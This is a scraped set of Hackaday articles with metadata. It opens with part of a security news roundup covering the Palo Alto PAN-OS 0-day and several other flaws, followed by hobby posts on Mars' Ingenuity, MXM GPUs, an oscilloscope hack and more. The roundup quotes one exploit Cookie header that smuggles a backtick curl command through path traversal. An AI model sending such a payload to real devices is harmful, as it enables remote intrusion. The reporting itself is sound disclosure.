. And that means out-of-bounds writes, with the potential for arbitrary remote code execution. This vulnerability was patched in January, so most of us should already have it, but now that there’s a thorough write-up, expect malicious rar files to show up in spam emails near you.
GlobalProtect
Researchers at
Volexity shared their findings last week
, of a threat actor using a 0-day vulnerability in Palo Alto PAN-OS. And one of the first observations we can make is that this is an outstanding job from Volexity and Palo Alto, in finding the first sign of compromise on April 10, and publishing advisories and a partial mitigation on the 12th, with the first hotfixes getting pushed on the 14th.
Now that we know what to look for, it turns out that the first signs of use were back on March 26, where the vulnerability was used to simply
touch
a file location. While that’s not a lot of time for widespread exploitation, it is enough that pretty much every PAN-OS device should now be regarded with suspicion.
As for the exploit details,
the folks at watchTowr have us covered
. The first juicy observation is that connecting to the device with a SESSID cookie set, will create an empty file on the device with that name, without appropriate sanitization or directory traversal. What’s really interesting is that when telemetry is enabled, this file is uploaded using curl, with the full file name getting called as part of the command. Was it possible to use only valid filenames to escape that command and run arbitrary commands? Why yes, yes it was.
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}x1.outboundhost.com`;
Now that exact attack chain requires telemetry to be enabled, and turning that off was one of the early mitigation steps listed. Turns out there are other ways to turn this underlying bug into an exploit, though those haven’t been shared publicly that I’ve seen.
Project Zero is Back
It’s been quite a while since we’ve heard anything from Google’s Project Zero, but that’s apparently because they’ve been working on big projects. Like, in this case,
auditing the Windows NT kernel’s handling of registry data
. That effort has managed to find 50 separate CVEs, as well as a few issues that didn’t quite pass muster as vulnerabilities. Look forward to some in-detail coverage to come on these issues.
Bits and Bytes
Two very nice write-ups came out this week, one
from Rhino Security Labs about a pair of issues
in the Kemp LoadMaster load balancer. There, a Cross-Site Request Forgery (CSRF) issue could be chained with an authenticated command injection issue to take over the appliance. The second is from [Johnny Yu] about a hard-coded key in the Delinea Secret Server, that allows spoofing API Tokens. The worst part about the Delinea issue is that the company refused to open a case, since the researcher wasn’t a paying customer. Eek. Now that the vulnerability is public, it’s finally getting addressed.
The
Element Android app had an issue
where an intent launched from an external application could include an EXTRA_NEXT_INTENT, which would launch internal-only intents, bypassing the normal security layer. This allowed a few nasty tricks, like launching an arbitrary web page inside the Element app.
[Adnan Khan]
is working on a tool to scan Github Actions for vulnerable triggers
, with an emphasis on self-hosted runners. That tool found a nice credential leak in Google’s Flank project on Github, and netted [Adnan] a cool $7,500. Watch this space for an Open-Sourced release of the tool. | 3 | 3 | [
{
"comment_id": "6751636",
"author": "Allan-H",
"timestamp": "2024-04-20T04:18:32",
"content": "The author of the shortest vector problem paper had already discovered a bug, issued a retraction and a revised paper prior to this.“… the claim of showing a polynomial time quantum algorithm for solving ... | 1,760,371,941.28754 | ||
https://hackaday.com/2024/04/19/nasas-ingenuity-mars-helicopter-transitions-into-stationary-testbed/ | NASA’sIngenuityMars Helicopter Transitions Into Stationary Testbed | Maya Posch | [
"Space"
] | [
"Ingenuity",
"mars",
"mars helicopter"
] | On April 16th NASA
announced the formal end
to
Ingenuity’s
days as the first ever Martian helicopter, following its 72nd and final flight mission in January. This flight ended with a
rough landing
during which the helicopter’s blades got damaged and separated, leaving the plucky flying machine with its wings clipped. During the final meet-up of the Mars Helicopter Team there was cake, but none for
Ingenuity
as its latest data set was reviewed by the team from 304 million kilometers away. This data confirms the latest software patch allows it to work stand-alone as a data collection platform.
With these latest software changes,
Ingenuity
will wake up daily, activate its computers and perform a self-check of all its components before collecting sensor data and images. The main goal of this is to collect long-term performance data on the helicopter’s systems, with enough onboard memory to allow for measurements to be stored for around 20 years. This means that although the
Perseverance
rover will have to trundle on without its flying mission buddy, one day in the future another rover, helicopter or primate will presumably drop by to either communicate with
Ingenuity
if it’s still alive, or harvest its memory unit for data retrieval.
Thanks to [Mark Stevens] for the tip. | 22 | 5 | [
{
"comment_id": "6751406",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2024-04-19T11:13:55",
"content": "I think that is great news.As Prosperity leaves its little “packages” on the Martian surface for later recovery, a side trip could be made to recover Ingenuity’s data as well."... | 1,760,371,941.345002 | ||
https://hackaday.com/2024/04/19/build-your-own-rgb-fill-light-for-photography/ | Build Your Own RGB Fill Light For Photography | Lewin Day | [
"digital cameras hacks",
"LED Hacks"
] | [
"lamp",
"light",
"photography",
"Wemos d1"
] | Photography is all about light, and capturing it for posterity. As any experienced photographer will tell you, getting the right lighting is key to getting a good shot. To help in that regard, you might like to have a fill light. If you follow [tobychui]’s example,
you can build your own!
Colors!
The build relies on addressable WS2812B LEDs as the core of the design. While they’re not necessarily the fanciest LEDs for balanced light output, they are RGB LEDs, so they can put out a ton of different colors for different stylistic effects. The LEDs are under the command of a Wemos D1, which provides a WiFI connection for wireless control of the light.
[tobychui] did a nice job of building a PCB for the project, including heatsinking to keep the array of 49 LEDs nice and cool. The whole assembly is all put together inside a 3D printed housing to keep it neat and tidy. Control is either via onboard buttons or over the WiFi connection.
Files are
on GitHub
if you’re seeking inspiration or want to duplicate the build for yourself. We’ve seen some other
similar builds
before, too. Meanwhile, if you’re cooking up your own rad photography hacks, don’t hesitate to
let us know! | 12 | 5 | [
{
"comment_id": "6751382",
"author": "Andrzej",
"timestamp": "2024-04-19T08:58:41",
"content": "What’s the point of using addressable LEDs if you drive them all with the same color?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6751397",
"author": "... | 1,760,371,941.404885 | ||
https://hackaday.com/2024/04/18/pc-watercooling-prototype-is-pumpless/ | PC Watercooling Prototype Is Pumpless | Al Williams | [
"computer hacks"
] | [
"thermosiphon",
"water cooling"
] | Watercooling is usually more efficient than air cooling for the same volume of equipment, and — important for many people — it is generally quieter. However, you still have water pump noises to deal with.
[Der8auer] got a Wieland prototype cooler
that doesn’t use a pump. Instead, it relies on the thermosiphon effect. In simple terms, the heat moves water — possibly boiling it — upwards to a radiator. Once the water is cool, it falls down back to the heat exchanger again.
It looks like any other AIO, but the block is extremely flat compared to normal coolers, which have the pump on top of the plate. As you might expect, orientation matters, and you can’t have tight bends in the hoses. The system also has to be totally airtight to function properly. The test was meant to be against a commercial AIO unit with the same number of fans. However, there was a problem, and the final test was done with a larger radiator with one of its three fans removed.
The prototype performed fine and was quiet. It didn’t do as well as the commercial cooler, but it wasn’t bad. Of course, this is a prototype. Maybe a final product will do better. Around the ten-minute mark, the IR camera came out, and it didn’t show any major unexpected hot spots.
We’ve seen
water-cooled printer hotends
, and pumping is a problem there. We wondered if this technology might work there. The whole thing reminded us of heat pipes without the internal wick to move cold working fluid. We’ve even seen
a water-cooled calculator
. | 23 | 10 | [
{
"comment_id": "6751338",
"author": "Dude",
"timestamp": "2024-04-19T05:15:04",
"content": "I saw couple of these in the early 2000’s.Only difference is that they used the thermosiphon on the radiator side, and the radiator was vertical on the side of the case, because there you have a much longer ... | 1,760,371,941.467336 | ||
https://hackaday.com/2024/04/18/computing-via-virtual-dominos/ | Computing Via (Virtual) Dominos | Al Williams | [
"Tech Hacks"
] | [
"digital logic",
"dominos"
] | Back in 2012, [Matt Parker] and a team built a computer out of dominos for the Manchester Science Festival. [Andrew Taylor], part of the team that built the original, has built a series of
virtual domino puzzles
to help explain how the computer worked. He also links to a video from the event, but be warned: the video contains some spoilers for the puzzles. If you are ready for spoilers, you can watch the video below.
The original computer could add two three-bit numbers and provide a four-bit result. We don’t want to give away the answers, but the inverter is quite strange. If you don’t want to puzzle it out, you can press the “reveal answer” to see [Andrew’s] solutions. Press “play” and watch the dominos fall.
Of course, building an adder is a far cry from building a computer, but at 10,000 dominos, a real computer would be difficult, though clearly possible. This is especially true when you consider that these logic gates can only run once, so testing is a bear. The fact that knocking over a domino takes it out of play is exactly how many of the gates work, too, but that’s the only hint we’ll give.
We couldn’t help but think of the
Three Body Problem’s
human computer
. If you prefer your domino logic to be non-interactive, we’ve covered
another presentation on the topic
. | 6 | 4 | [
{
"comment_id": "6751336",
"author": "Will Stevens",
"timestamp": "2024-04-19T04:36:08",
"content": "This is a really great way of inspiring people to want to know how it works. I had fun years ago working out that using dual-rail logic it’s possible in principle to make any Boolean circuit with dom... | 1,760,371,941.688558 | ||
https://hackaday.com/2024/04/18/remove-wall-plugs-fast-with-a-custom-tool/ | Remove Wall Plugs Fast With A Custom Tool | Lewin Day | [
"Tool Hacks"
] | [
"removal",
"screw",
"wall plug"
] | The best thing about buying your own home is that you can hang things on the walls. It’s a human right all too often denied to renters the world over. Regardless, five years later, when you’re doing the mandatory minimalist remodel, you’ll be ruing the day you put in all those wall anchors. At that point,
consider removing them with this nifty tool from [XDIY with Itzik].
The design aims to remove wall anchors as cleanly as possible. It’s easiest to watch the video to get the idea of how it works.
The tool features a block which holds a bearing. That bearing acts as a rotating stop for a wood screw. The idea is that you place the block against the wall, and use a power drill to drive a wood screw into the anchor at high speed. The screw can’t move forward, so the threads basically yank the plug out of the wall, and relatively neatly at that. Once removed, there’s a little push stopper you can use to hold the old plug in place as you remove the wood screw from the device, ready to go again.
[Itzik] demonstrates the device by removing ten wall plugs in just 40 seconds. If you’ve got a lot to do, or it’s a job you do regularly, you might like to have this tool in your kit.
Oftentimes, having
the right tool
can make a job ten times faster, and this seems like one of those cases. Video after the break. | 39 | 19 | [
{
"comment_id": "6751299",
"author": "Ox45",
"timestamp": "2024-04-18T23:38:09",
"content": "Like you did with you Cap Locks key?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6751305",
"author": "The Commenter Formerly Known As Ren",
"times... | 1,760,371,941.594573 | ||
https://hackaday.com/2024/04/18/diy-quad-motor-go-kart-is-a-thrilling-ride/ | DIY Quad-Motor Go-Kart Is A Thrilling Ride | Donald Papp | [
"Transportation Hacks"
] | [
"diy",
"driving",
"go-kart",
"hub motor",
"kart"
] | [Peter Holderith] set out some time ago to build an electric go-kart. That by itself is not terribly unusual, but where his project diverts from the usual is in the fact that
each of the four wheels has an integrated hub motor
.
It might not look it, but each wheel has an integrated hub motor.
This kart project is a bit of a work in progress, with [Peter] previously building (then scrapping) a failed attempt at a cheap suspension system. But it’s completely operational with all four wheels able to deliver a monstrous amount of power despite being limited by the power supply (a battery pack salvaged from an Audi Q5 Hybrid).
The kart might not look it, but it weighs 177 pounds (80 kg) with the battery and motors accounting for nearly half of that. What is is like to drive? “Nothing short of thrilling,” says [Peter]. It’s got no suspension and is pretty bare bones, not to mention limited in power by the battery, but [Peter] finds it a satisfying drive that nevertheless delivers car-like cues in the driving experience. The build isn’t done, and [Peter] plans to see if more power is available by switching battery chemistries rather than add more battery weight.
Building and driving electric vehicles can be remarkably satisfying, and it’s an area in which hobbyists can meaningfully innovate.
Self-balancing one-wheeled vehicles
for example look like a ton of fun. Heck, researchers have discovered that even
rats seem to enjoy driving
just for the fun of it. | 29 | 14 | [
{
"comment_id": "6751286",
"author": "Mike Burke",
"timestamp": "2024-04-18T21:01:22",
"content": "My brain wants to play: A constraint mentioned in the linked article is that the battery cannot produce the 400 amps needed to max the quad wheel drive setup.In 1974, Mother Earth News published a proj... | 1,760,371,941.771283 | ||
https://hackaday.com/2024/04/18/early-cd-player-teardown/ | Early CD Player Teardown | Al Williams | [
"home entertainment hacks",
"Teardown"
] | [
"cd player",
"phase linear"
] | While CD players are nothing new today, they were the height of high-tech in the early 1980s. [w1ngsfly] shows us the
inside of a Phase Linear 9500 player
from 1983. Not only does it have many components, but it is also mechanically unusual.
The CD loads into a toaster-like slot and even pops out like a piece of toast. The tracking mechanism is quite complex, and there’s something that looks suspiciously like a dial string from an old slide rule tuner radio. Apparently, the unit was made by Kyocera and is internally similar to a Kyocera DA-01.
There’s a “head position” indicator that is actually just an LED connected to the tracking mechanism. The front panel controls look great but also allow you to control the head position exactly. As [w1ngsfly] mentions, it is almost like moving a turntable’s tonearm where you can drop it anywhere you want.
If we recall, they were about $600 to $1,000 new. If Phase Linear doesn’t ring a bell, they were well known in their day. Founded by [Bob Carver] and [Steve Johnston], the company was bought by Pioneer before the introduction and, later, by Jensen before the introduction of the 9500. [Bob] would go on to found Carver Corporation. You can find
plenty of history about the company online
.
We’ve seen CD players that
look older
. These days, CD drives are cheap and they are
easy enough to control
. | 16 | 9 | [
{
"comment_id": "6751251",
"author": "Clóvis Fritzen",
"timestamp": "2024-04-18T19:03:40",
"content": "It always amazes me to look back at technology (in this case, of 40 years ago) and think how simple and ingenuously it was made. At the time this was a marvel, edge-cutting but now it looks just su... | 1,760,371,941.644435 | ||
https://hackaday.com/2024/04/18/lyft-standing-up-for-better-ikea-bekant-control/ | LYFT: Standing Up For Better IKEA BEKANT Control | Kristina Panos | [
"Lifehacks",
"Microcontrollers"
] | [
"ikea",
"IKEA BEKANT",
"ikea desk"
] | The IKEA BEKANT sit/stand desk is kind of a lifesaver — even if you don’t personally go between sit and stand much, the adjustability makes sharing the desk a breeze. Sharing was the case in [Matthias]’ house during the pandemic, as he and his wife took turns using the desk. Switching between their two preferred heights quickly became annoying, so [Matthias] engineered
LYFT, a replacement controller that stores up to four settings.
In addition, the new SAMD21-based controller allows them to raise and lower the desk without having to hold the button down. And finally, having a digital readout showing the position is just plain cool. As you’ll see in
the manual
(PDF), LYFT is as easy to set up and use as the average flat-packed product.
In order to make this work, [Matthias] had to figure out
how the desk’s motors communicate out of the box
, and he did so with the help of
a BEKANT controller project by [Greg Cormier]
. You won’t find LYFT at the blue and yellow, at least not yet; for now, you’ll have to
shop Tindie
or
build it yourself
. | 6 | 3 | [
{
"comment_id": "6751256",
"author": "Simple",
"timestamp": "2024-04-18T19:35:49",
"content": "I went to school for drafting ~30 years ago. They had standing-height desks with tall “drafting chairs”. IMHO it is a cheaper, faster, just overall better solution. Stand when you want. Sit when you wa... | 1,760,371,941.812116 | ||
https://hackaday.com/2024/04/18/mxm-powerful-misused-hackable/ | MXM: Powerful, Misused, Hackable | Arya Voronova | [
"Featured",
"laptops hacks",
"Slider"
] | [
"amd",
"gpu",
"mxm",
"NVIDIA"
] | Today, we’ll look into yet another standard in the embedded space: MXM. It stands for “Mobile PCI Express Module”, and is basically intended as a GPU interface for laptops with PCIe, but there’s way more to it – it can work for any high-power high-throughput PCIe device, with a fair few DisplayPort links if you need them!
You will see MXM sockets in older generations of laptops, barebones desktop PCs, servers, and even automotive computers – certain generations of Tesla cars used to ship with MXM-socketed Nvidia GPUs! Given that GPUs are in vogue today, it pays to know how you can get one in low-profile form-factor and avoid putting a giant desktop GPU inside your device.
I only had a passing knowledge of the MXM standard until a bit ago, but my friend, [WifiCable], has been playing with it for a fair bit now. On a long Discord call, she guided me through all the cool things we should know about the MXM standard, its history, compatibility woes, and hackability potential. I’ve summed all of it up into this article – let’s take a look!
This article has been written based on info that [WifiCable] has given me, and, it’s also certainly not the last one where I interview a hacker and condense their knowledge into a writeup. If you are interested, let’s chat!
Simple Wireup, Generous Payoff
Yes, an Intel A380m card in MXM format
An MXM card has a whole side dedicated to its gold finger PCB edge connector. With 285 pins, there are a whole lot of interfaces you can get out of these, and all of them are within hobbyist reach! To make an MXM card work, you don’t need much, either.
For an MXM card to work, first, you need to be able to provide between 60 W and 100 W of power, with the ability to impose a power consumption limit on the card. The standard says that the voltage can be anywhere from 7 V to 20 V. This is obviously intended for laptop use, where the main power rail can either be at charger voltage or battery voltage, and it results in high efficiency – you don’t need a separate buck-boost regulator for, say, 12 V.
Then, you need a PCIe link of up to 16x, but because PCIe is cool like that, even a 1x link will work as long as you won’t be sad if the GPU is bottlenecked by it. You also might need to set up a few control GPIOs, like the card enable pin, and the power limit pin that tells the card whether it should run in lower-power mode or not. Plus, for some cards, you might need to give the card 5 V at an amp or two – the standard requires that, but it’s not clear why. Technically, you can even connect an MXM card to a Raspberry Pi 5 or CM4, as long as you can procure enough power from some external source – if you want a low-footprint GPU paired with a Pi, MXM makes that firmly within your reach.
In return, you get a wide array of interfaces. The coolest part is, undoubtedly, DisplayPort. You can get up to six 4-lane DP links out of an MXM card, as long as the GPU chip is okay with it. You might also be able to get VGA, LVDS, and even HDMI/DVI. MXM GPUs do support
DP++, a DisplayPort mode
that outputs HDMI-compatible signals, and you only need a few external components.
You also get a good few low-level interfaces, both for practical and debug purposes. Need to control a small fan? There’s a PWM output you might be able to use for fan control, and a tach signal input! Backlight control for an LCD panel you’ve wired up? There’s PWM for that too. Want to poke at the GPUs’ JTAG? The MXM socket has pins defined for that. It’s up to the cards to support or not support a lot of stuff that the MXM standard defines, so you might still benefit from a small MCU, but having those things seriously helps in embedded applications.
Speaking of JTAG and vendor freedom, of course, there are OEM pins – since anyone can produce MXM GPUs and systems, and the MXM standard has lasted for decades now, manufacturers like to put their own spin on them. You can often figure things out from MXM-equipped laptop schematics, and, sometimes it’s necessary to check a few. See, giving freedom to individual implementers is a double-edged sword, and MXM is an outstanding illustration on how modular standards can go wrong for regular users.
Compatible, Mostly
Looking at MXM, you might rejoice – thinking about upgrading and repairing your laptop well beyond the few years that the warranty period covers. However, manufacturers are not exactly interested in that. For them, the incentive structure for using MXM is usually completely different.
For a start, producing a board with five BGAs can in certain cases be easier than producing a board with fifteen, which is what you often have to do if you have to put a GPU and RAM on your board as opposed to an MXM module. And, for offering multiple GPU configurations of the same model in a way that lets the manufacturer cover multiple points on the supply-demand chart, it might just be easier to produce an array of MXM cards and then pair them to an array of GPU-less mainboards that have their own configurations. Not always – which is part of why you don’t see it lately.
This is not a standard-defined shape for an MXM card.
So, while you might like upgradability and repairability, you might find that MXM GPUs are not often offered as replacement parts for sale. And, what’s worse, if you’ve found an MXM card available for a different laptop, there’s no guarantee it will fit.
For instance, some cards are of the MXM 3.0 standard, while others are MXM 3.1, with slight but important differences like support for two DP ports on LVDS pins. However, most of the real-world differences are from either lack of standardization or from manufacturers straight up ignoring the standard.
The first hurdle is the most obvious, and that is the mechanical footprint. The MXM standard defines two possible card shapes, A variant or B variant, including things like heatsink and retention screw hole layout, and even component height for heatsink compatibility purposes. Many laptop manufacturers ignore these rules, producing cards of wacky shapes, or worse, shapes that almost match but are slightly incompatible in a subtle but severe way.
Then, there’s the VBIOS and driver problems. Many MXM cards have an onboard BIOS chip, whereas other cards rely on the laptop to feed them their BIOS during boot. If your card is of the latter type, you might need to add a UEFI module or hack the code. Alternatively, some cards ship with unpopulated flash chip footprints or unflashed chips on them, so you can give a BIOS to your card with a bit of soldering and flashing, as long as you can find an image that works.
As for drivers, Nvidia stands out there. Many Windows Nvidia drivers for MXM cards run hardware checks that tie the MXM cards to hardware IDs of laptops, and refuse to install the drivers if the card is installed in a laptop it was not expected to be installed in. You used to be able to work around it, but nowadays the driver signing mechanism severely limits the things you can do, a mechanism that in Windows has no sane leeway for user-tweaked drivers and, as such, acts as an effective way of proprietary vendor lock-in. So, if you want to upgrade your Nvidia MXM card and you run Windows, you might run into a bit of a brick wall.
Some Outright Hostile
Continuing this line of reasoning, there are slots that look like MXM but aren’t MXM, and I’m not talking about SMARC, which is a fun SoM standard reusing MXM slots, just like Pi Compute Modules reuse DDR sockets. No, I’m talking about manufacturers like Lenovo, who have added MXM socketed GPUs into some of their more recent laptops, but with completely different pinouts. They don’t advertise their slots as MXM, at least, which is a bonus.
Where are the power pins? Who knows!
Still, these cards are easy to confuse for actual MXM, and they fit into the slot all the same. The most firey factor is the power pin layout – a mindboggling change that has been made on some laptop models that can destroy your card and laptop even if the card fits mechanically. On one side of the MXM card, there’s an array of power pins – a matching amount of VIN and GND, often visible as a single large gold finger. For some unimaginable reason, a few manufacturers have made cards that remap the entire pinout and specifically put those power pins on the opposite side.
The pinout swapping is bad enough, but it’s the power pin swapping that really gets us, and gets every piece of tech involved to release the magic smoke, too. And then, there’s the few outright criminal cases where manufacturers have put power pins on both sides of the pinout. You can easily notice this when you look at your card, but you have to know to look out for it.
The MXM standard can’t prevent most of these problems, and whatever it tries to limit, laptop manufacturers can freely bypass. There’s no certification or compliance checks; fundamentally, in laptops, MXM isn’t used for your convenience – it’s used for the convenience of the manufacturer. If you look at your old MXM-equipped laptop and think that you might be able to upgrade its GPU, remember that there’s more than meets the eye.
All of these things, of course, don’t mean that you can’t hack on MXM otherwise. Just remember that, whatever you build, might be more specific to a certain breed of MXM slots in certain laptop lineups, than to MXM as a standard.
Still Hackable Anyway
How about a few good MXM hacks to show you what you can do? Remember, fundamentally, MXM is a high-power connection with a high-bandwidth PCIe link on it, which lets you pull some wonderful tricks!
For instance, here’s
an MXM adapter
for certain kinds of iMacs, that lets you install an NVMe SSDs into the MXM slot of your trusty iMac while preserving the MXM GPU connections! It involves changing a chipset strap to enable bifurcation, so there’s no power-hungry PCIe switch involved, and going from x16 to x8 on your MXM GPU won’t involve any notable bandwidth loss either. So, you can replace your SATA HDD or SSD with a speedy modern NVMe drive, that probably is way cheaper too!
It wouldn’t be hard to make a generic MXM to NVMe adapter, in general – and, [WifiCable]
has a template KiCad project for you.
Just like with mPCIe and M.2 cards, an MXM card is a PCB, after all, 1.2mm thick. You might be worried about leaving your laptop GPU-less, but many laptops with MXM cards still have an iGPU that is enabled whenever the MXM card is removed, though, that’s not a guarantee. We might see an MXM to Oculink adapter too, at some point!
There are also a few adapters to reuse MXM cards on the market, cheap and expensive alike. That kind of adapter is good for checking any MXM cards you have laying around, and on the cheap ones, you might even be able to solder the extra HDMI port on, as long as you get 5 V from somewhere. Sadly, none of them are open-source – yet.
This is
an MXM tinkering adapter board
from [WifiCable], exposing as much of MXM as humanly possible, with a wide range of power input options. Every single option is on either pin headers or SMD resistors, able to satisfy whichever obscure feature an MXM card might need, and tap at interfaces that manufacturers don’t expect you to tap. It’s a decently complex design, still yet to be polished, and it’s a 6-layer board big enough to go over a good few price breaks for any PCB fab – we’ve both learned a ton about high-speed design as [WifiCable] went about it. However, when it comes to playing with different MXM cards, exploring manufacturer differences and tinkering with card compatibility, this is as good of a testbench board as anyone can build!
Want to build your own MXM stuff, whether cards or card-carrying PCBs? Here’s
a socket on LCSC,
and
with easyeda2kicad,
you can easily get a footprint and 3D model for it. As for designing your own card or getting the [generic] pinout, you can find the MXM standard by looking up
MXM_Specification_v31_r10.pdf
.
Gone But Not Forgotten
DGFF card
Sadly, with the trend of making laptops thinner, we’ve been losing MXM, and the companies involved in defining the standard have not been all that interested in updating it, or even adhering to it for that matter. Nevertheless, due to industrial use of MXM, you can still find many modern cards in MXM format!
Furthermore, the spirit of MXM lives on. The proprietary DGFF standard is superseding MXM in Dell laptops – it’s thinner, and it’s fundamentally the same functionality that MXM provides. The same goes for the
Framework 16 expansion bay modules
– you could easily make an MXM to expansion bay card, and, [WifiCable] has made
a KiCad sketch
of one too!
For now, we still have laptops with MXM and almost-MXM cards around, and if you ever look into tinkering with those, you now have a better roadmap towards that. Despite the prevalence of soldered-on GPUs in laptops, the concept of GPU modules isn’t about to die out, and companies still put “GPU module” on the whiteboards every now and then during their product design processes. | 28 | 12 | [
{
"comment_id": "6751173",
"author": "Francis Theodore Catte",
"timestamp": "2024-04-18T14:22:00",
"content": "thanks to Apple using MXM at the time, my 2010 27″ iMac now has a Radeon Pro WX-4150 w/ 4GB of VRAM meant for an HP laptop of some kind, replacing the very dead Radeon HD 6750 it had when I... | 1,760,371,941.909092 | ||
https://hackaday.com/2024/04/18/unraveling-the-secrets-of-apples-mysterious-fisheye-format/ | Unraveling The Secrets Of Apple’s Mysterious Fisheye Format | Donald Papp | [
"Reverse Engineering",
"Video Hacks"
] | [
"3d video",
"fisheye",
"immersive video",
"stereoscopic"
] | Apple has developed a proprietary — even mysterious — “fisheye” projection format used for their immersive videos, such as those played back by the Apple Vision Pro. What’s the mystery? The fact that they stream their immersive content in this format but have provided no elaboration, no details, and no method for anyone else to produce or play back this format. It’s a completely undocumented format and Apple’s silence is deafening when it comes to requests for, well, anything to do with it whatsoever.
Probably those details are eventually forthcoming, but [Mike Swanson] isn’t satisfied to wait. He’s done his own digging into the format and while he hasn’t figured it out completely, he has learned quite a bit and
written it all up on a blog post
. Apple’s immersive videos have a lot in common with VR180 type videos, but under the hood there is more going on. Apple’s stream is DRM-protected, but there’s an unencrypted intro clip with logo that is streamed in the clear, and that’s what [Mike] has been focusing on.
Most “fisheye” formats are mapped onto square frames in a way similar to what’s seen here, but this is not what Apple is doing.
[Mike] has been able to determine that the format definitely differs from existing fisheye formats recorded by immersive cameras. First of all, the content is rotated 45 degrees. This spreads the horizon of the video across the diagonal, maximizing the number of pixels available in that direction (a trick that calls to mind the heads in
home video recorders being tilted
to increase the area of tape it can “see” beyond the physical width of the tape itself.) Doing this also spreads the center-vertical axis of the content across the other diagonal, with the same effect.
There’s more to it than just a 45-degree rotation, however. The rest most closely resembles
radial stretching
, a form of disc-to-square mapping. It’s close, but [Mike] can’t quite find a complete match for what exactly Apple is doing. Probably we’ll all learn more soon, but for now Apple isn’t saying much.
Videos like VR180 videos and Apple’s immersive format display stereoscopic video that allow a user to look around naturally in a scene. But to really deliver a deeper sense of presence and depth takes
light fields
. | 12 | 5 | [
{
"comment_id": "6751111",
"author": "WurstCase",
"timestamp": "2024-04-18T12:04:31",
"content": "The reason is rather simple, less distortion on the edges while still using all available pixels",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6751116",
"aut... | 1,760,371,941.963136 | ||
https://hackaday.com/2024/04/18/hacked-oscilloscope-plays-breakout-hints-at-more/ | Hacked Oscilloscope PlaysBreakout, Hints At More | Dan Maloney | [
"Teardown",
"Tool Hacks"
] | [
"breakout",
"CH32F103",
"debug",
"DSO152",
"firmware",
"FNIRSI",
"reverse engineering",
"risc",
"ST7789"
] | You know things are getting real when the Dremel is one of the first tools you turn to after unboxing your new oscilloscope. But when your goal is to
hack the scope to play
Breakout
, sometimes plastic needs to be sacrificed.
Granted, the scope in question, a Fnirsi DSO152, only cost [David Given] from
Poking Technology
a couple of bucks. And while the little instrument really isn’t that bad inside, it’s limited to a single channel and 200 kHz of bandwidth, so it’s not exactly lab quality. The big attractions for [David] were the CH32F103 microcontroller and the prominent debug port inside, not to mention the large color LCD panel.
[David]’s attack began with the debug port and case mods to allow access, but quickly ground to a halt when he accidentally erased the original firmware. But no matter — tracing out the pins is always an option. [David] made that easier by overlaying large photos of both sides of the board, which let him figure out which buttons went to which pins, and mapping for the display’s parallel interface. He didn’t mess with any of the analog stuff except to create a quick “Hello, oscilloscope!” program to output a square wave to the calibration pin. He did, however, create a display driver and port a game of breakout to the scope — video after the hop.
We’ve been seeing a lot of buzz around the CH32xx MCUs lately; seeing it start to show up in retail products is perhaps a leading indicator of where the cheap RISC chips are headed. We’ve seen
a few interesting hacks
with them, but we’ve also heard tell
they can be hard to come by
. Maybe getting one of these scopes to tear apart can fix that, though.
Thanks to [Bike Forever] for the heads up on this one. | 8 | 4 | [
{
"comment_id": "6751066",
"author": "poglad",
"timestamp": "2024-04-18T09:56:36",
"content": "In my naivety, I thought this would be a vector graphics game using only the standard inputs of the oscilloscope. 😐",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6... | 1,760,371,942.00794 |
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